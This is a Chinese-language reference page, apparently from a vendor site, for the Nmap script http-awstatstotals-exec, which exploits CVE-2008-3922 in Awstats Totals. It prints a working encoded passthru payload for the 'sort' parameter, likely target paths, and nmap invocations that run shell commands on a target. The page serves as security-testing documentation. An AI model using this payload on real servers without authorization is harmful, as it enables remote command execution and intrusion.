指令摘要
此指令用於利用 Awstats Totals 1.0 到 1.14 的遠端代碼執行漏洞(CVE: 2008-3922),這個漏洞允許攻擊者透過 GET 變數 "sort" 來執行任意 shell 命令;攻擊者使用 PHP 的 chr() 函數將 shell 命令轉換為特定的字符表示,然後將這些字符添加到 URL 中,作為 HTTP GET 請求的一部分。
?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}
請注意,這樣的操作是非法的,並且可能違反法律;只有在合法的測試環境中,並獲得適當的授權和許可的情況下,才能執行這種類型的操作。
Awstats Totals 通常可以在以下常見路徑中找到,這些路徑是 Awstats Totals 應用程序的標準位置,您可以在這些路徑下存取 Awstats Totals 並執行相應的操作;如果您希望利用漏洞執行特定的命令,請使用這些路徑作為目標 URL 的一部分。
/awstats/index.php
/awstatstotals/index.php
/awstats/awstatstotals.php
參考資料:
指令參數
http-awstatstotals-exec.uri
Awstats Totals 的 URI,包括路徑;預設值為 /index.php。
http-awstatstotals-exec.cmd
要執行的命令,預設值是 "whoami",表示查詢當前使用者。
http-awstatstotals-exec.outfile
輸出文件,如果設定了此參數,則輸出將保存在指定的文件中。
其他實用的參數包括http.useragent:使用者代理 (User-Agent),在 HTTP 請求中,伺服器可以讀取 " User-Agent " 標頭,以確定客戶端使用的是哪個應用程序或瀏覽器,以及它的版本;這個參數用於 GET 請求中的 User-Agent 標頭。
slaxml.debug
此參數用於 slaxml 函式庫,該函式庫用於處理 XML 數據;參數可能用於除錯目的,以控制 slaxml 函式庫的除錯級別,更多細節可以參考 slaxml 函式庫。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
可至 http 函式庫了解更多資訊。
http.host: 這個參數用於 HTTP 函式庫,它指定了要存取的主機的網域名稱或 IP 位址,當您發送 HTTP 請求時,這個參數將指定目標主機。
http.max-body-size: 這個參數用於 HTTP 函式庫,它設定 HTTP 請求的最大允許資料主體(body)大小;主體是 HTTP 請求中包含的資料部分,例如 POST 請求的表單資料。
http.max-cache-size: 此參數用於 HTTP 函式庫,它控制 HTTP 響應暫存的最大容量;暫存是為了提高性能而儲存的先前檢索資料的副本。
http.max-pipeline: 這個參數用於 HTTP 函式庫,它控制 HTTP 請求管道(pipelining)的最大數量,管道允許客戶端在等待前一個請求的回應之前發送多個請求。
http.pipeline: 此參數用於 HTTP 函式庫,它啟用或禁用 HTTP 請求的管道功能;如果設置為 true,則允許管道,否則禁用。
http.truncated-ok: 這個參數用於 HTTP 函式庫,它表示是否允許截斷的 HTTP 回應;如果設置為 true,則允許使用部分回應。
http.useragent: 這個參數用於 HTTP 函式庫,它指定 HTTP 請求的用戶代理(User-Agent)標頭,用戶代理用於識別請求的客戶端應用程序或瀏覽器,可以模擬不同的客戶端。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
於 smbauth 函式庫,它們用於 SMB(Server Message Block)協定的身份驗證和存取控制,這些參數包括 SMB 網域、Hash、禁止訪客存取、密碼、類型和使用者名稱等訊息。
註:Hash 在資料結構、加密、數位簽章、數據驗證、和許多其他電腦中都有廣泛的應用,常見的Hash 函數包括MD5、SHA-1、SHA-256等,它們具有不同的 Hash 值長度和安全性特性。
指令範例
nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
nmap -sV --script http-awstatstotals-exec.nse <target>
指令輸出
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-awstatstotals-exec.nse:
|_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
作者:
Paulino Calderon
License: Same as Nmap--See https://nmap.org/book/man-legal.html
隨選即看研討會
延伸閱讀
NetAlly 滲透測試及網路測試總覽 > CyberScope Nmap 滲透測試手持式網路分析儀,整合了 Nmap 功能,為站點存取層提供全面的網路安全風險評估、分析、和報告——包括所有的端點和網路探索、有線與無線網路安全、漏洞評估 (Nmap) 以及網段和配置驗證;IT 人員透過單一工具以及單一介面,即可快速且即時的掌握企業或組織的各種混合式網路環境 (有線、無線、PoE)、各種連網終端裝置的拓樸、架構、設置、網段、效能、直到網路安全評估。